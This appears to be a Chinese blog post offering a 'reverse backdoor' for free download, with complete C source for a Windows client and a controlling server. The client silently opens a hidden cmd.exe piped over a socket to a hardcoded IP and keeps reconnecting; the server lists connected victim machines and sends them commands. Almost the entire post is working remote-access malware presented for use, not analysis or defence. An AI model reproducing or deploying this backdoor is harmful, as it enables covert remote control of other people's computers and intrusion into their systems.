反弹后门的实现(附源代码及编译好的程序,免费下载)

反弹后门是什么

https://www.freebuf.com/articles/web/166732.html

源代码及编译好的程序

https://pan.baidu.com/s/1fQvRbt8UKO3ol5_cZrAGnw

源代码

client

#include <stdio.h>
#include <winsock2.h>
#pragma comment(lib,"ws2_32.lib")

#define DEST_PORT	1500                            /* 服务器端口 */
#define DEST_IP		"192.168.111.53"                /*服务器IP*/
#define MAX_DATA	1024                             
#define FAIL_TIME 60000//服务器未开启时,本机每隔1分钟尝试连接一次
#define SUCCESS_TIME 600000	//成功连接服务器,10分钟后重新连接

int main()
{
	SOCKET			sock;
	struct sockaddr_in	dest_addr;              /*目标地址信息*/
	char			buf[MAX_DATA] = { 0 };  /* 接收数据缓冲区 */
	WSADATA			wsaData;

	dest_addr.sin_family		= AF_INET;
	dest_addr.sin_port		= htons( DEST_PORT );
	dest_addr.sin_addr.s_addr	= inet_addr( DEST_IP );
	memset( &(dest_addr.sin_zero), 0, 8 );
	
	if ( WSAStartup( MAKEWORD( 2, 2 ), &wsaData ) ) /*socket编程必须先初始化*/
	{
		printf( "WSAStartup failed\n" );
		exit( 0 );
	}

	/* 启动信息,创建进程要用到 */
	STARTUPINFO si;
	ZeroMemory( &si, sizeof(si) );
	si.dwFlags	= STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
	si.wShowWindow	= SW_HIDE;//隐藏cmd.exe窗口


	char cmdLine[256] = { 0 };
	GetSystemDirectory( cmdLine, sizeof(cmdLine) );
	strcat( cmdLine, ("\\cmd.exe") );//获取cmd.exe的绝对路径

	PROCESS_INFORMATION ProcessInformation;/* 程序信息,创建进程要用到 */
	
while(1){//根据服务器是否在线,设定不同的时间循环尝试连接
	
	sock = WSASocket( AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0 );
	if ( sock == -1 )
	{
		printf( "socket failed:%d", WSAGetLastError() );
	}
	
	si.hStdInput	= (void *) sock;//重定向cmd.exe的输入为socket,以接收服务器发来的指令
	si.hStdOutput	= si.hStdError = (void *) sock;//重定向cmd.exe的输出为socket,以发送执行结果给服务器

	if ( connect( sock, (struct sockaddr *) &dest_addr, sizeof(struct sockaddr) ) != -1 )   /* 尝试连接服务器 */
	{	printf( "connect success\n" );
		if ( CreateProcess( cmdLine, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &ProcessInformation ) == 0 )printf( "cmd fail\n" );
		//连接成功则打开cmd.exe
		Sleep(SUCCESS_TIME);//本进程休眠一段时间,这段时间由cmd.exe和服务器交互
		TerminateProcess(ProcessInformation.hProcess,1);//为了避免服务器退出后cmd.exe一直等待,所以一段时间后要强行结束以再次连接
		
 		if(sock!=INVALID_SOCKET)//结束cmd进程后关闭socket
		{
		closesocket(sock);
		sock = INVALID_SOCKET;
		} 
	} else{//连接失败
		
		switch (WSAGetLastError())
		{
		case 10061://服务器不在线
		printf( "connect failed\n");
		break;
		
		default://其他原因
		printf( "连接失败,错误码:%d\n",WSAGetLastError());
		}
		Sleep(FAIL_TIME);
	}
}

	return(0);
}

server

#include <stdio.h>
#include <winsock2.h>
#pragma comment(lib,"ws2_32.lib")

#define PORT	1500                                                                    /* 端口号 */
#define BACKLOG 10                                                                       /*最大连接数*/
#define MAX_DATA	1024  
#define KILL_TIME 61000          //结束ThreadFunc线程的时间               
typedef struct _Threadv
{
	SOCKET* new_sock;
	SOCKET sock;
	struct sockaddr_in* ptheir_addr;
	int* psin_size;
}Threadv;


void print(char *cmdstr)//实现去除执行结果中的 "命令\n"
{
	while(*((char*)cmdstr++)!='\n');
	printf(cmdstr);
}

void ThreadFunc(Threadv* ptv)//输出被控机的IP和端口
{	int i=0;

	while ( ((*ptv).new_sock[i] = accept( (*ptv).sock, (struct sockaddr *)(*ptv).ptheir_addr, (*ptv).psin_size )) != -1){
		if(!getpeername((*ptv).new_sock[i], (struct sockaddr *)(*ptv).ptheir_addr, (*ptv).psin_size))
		{
		printf( "IP:%s\n", inet_ntoa((*(*ptv).ptheir_addr).sin_addr));
		printf( "PORT:%d\n", ntohs((*(*ptv).ptheir_addr).sin_port));
		}
		i++;
	}
} 

int main()
{
	SOCKET			sock, new_sock[BACKLOG]={0};                                           /*socket句柄和建立连接后的句柄数组*/
	struct sockaddr_in	my_addr;                                                /*本方地址信息*/
	struct sockaddr_in	their_addr;                                             /*对方地址信息*/
	int			sin_size = sizeof(struct sockaddr_in);
	int socknum=0;//遍历new_sock数组
	WSADATA			wsaData;
	char			buf[MAX_DATA] = { 0 };  /* 接收数据缓冲区 */
    char 			sendBuff[MAX_DATA] = { 0 };//发送数据缓冲区
	char ch;//接收输入命令字符的变量
	void* hThread ;//线程句柄,输出被控机IP及端口后结束此线程
	unsigned long ThreadID;//作为存放线程ID的容器,暂时未用到
	Threadv tv;//传递给线程的参数
	my_addr.sin_family	= AF_INET;                                              
	my_addr.sin_port	= htons( PORT );                                        /*本机端口*/
	my_addr.sin_addr.s_addr = htonl( INADDR_ANY );                                  /*本机IP*/
	memset( &(my_addr.sin_zero), 0, 8 );                                            /*将其他属性置0*/

	if ( WSAStartup( MAKEWORD( 2, 2 ), &wsaData ) )                                 /*socket编程必须先初始化*/
	{
		printf( "WSAStartup failed:%d\n", WSAGetLastError()  );
		return(-1);
	}

	if ( (sock = socket( AF_INET, SOCK_STREAM, 0 ) ) == -1 )                        /* 建立socket */
	{
		printf( "socket failed:%d\n", WSAGetLastError() );
		return(-1);
	}

	if ( bind( sock, (struct sockaddr *) &my_addr, sizeof(struct sockaddr) ) < 0 )  /* 绑定地址结构体和socket */
	{
		printf( "bind failed:%d\n", WSAGetLastError() );
		return(-1);
	}
	listen( sock, BACKLOG );                                                        /* 开启监听*/
	
	tv.new_sock=new_sock;
	tv.sock=sock;
	tv.ptheir_addr=&their_addr;
	tv.psin_size=&sin_size;
	
	hThread=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)ThreadFunc,&tv,0,&ThreadID);//把新建立的socket放入new_sock数组,并输出被控机的IP和端口
	Sleep(KILL_TIME);//这里的时间要根据客户端循环检测的时间定,假如客户端在连接失败时隔60秒再进行连接,那么这里的时间就要大于60秒,以保证所有客户端能连接到服务器
	if(!TerminateThread(hThread,1))printf( "结束线程失败,错误码:%d\n",WSAGetLastError());//等所有客户端连接后结束此线程

	while(new_sock[socknum]!=0){//用来清除被控机中的cmd窗口输出的初始化信息,如:Microsoft Windows [版本 6.1.7601]版权所有 (c) 2009 Microsoft Corporation。保留所有权利。
		recv( new_sock[socknum], buf, MAX_DATA, 0 );
		socknum++;
	}
	ZeroMemory(buf,1024);
	printf( "请输入命令,格式:索引 命令\n");//比如:0 echo a 是指new_sock数组中索引为0的socket对应的被控机在cmd.exe窗口执行echo a命令
	while ( 1 )//循环获取输入以执行命令
	{
		while(1){
			int count=0;
			while((ch=getchar())!='\n')
			{	
				sendBuff[count]=ch;
				count++;
			}
			sendBuff[count++]='\n';	

			send( new_sock[sendBuff[0]-'0'], sendBuff+2, count-2, 0 );//sendBuff是字符数组,所以sendBuff[0]是字符不是数字,要减去'0'转化为数字;索引和空格占用2个字节,所以起始地址为sendBuff+2, 准备发送的字节数为count-2

			Sleep(500);//等待被控机执行命令
			recv( new_sock[sendBuff[0]-'0'], buf, MAX_DATA, 0 ); //获取执行结果                                                /* 将接收数据写入buf,参数分别是句柄,储存处,最大长度,其他信息(设为0即可)。 */
			print( buf );
			ZeroMemory(buf,1024);
			ZeroMemory(sendBuff,1024);
		}	
	}
return(0);
}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值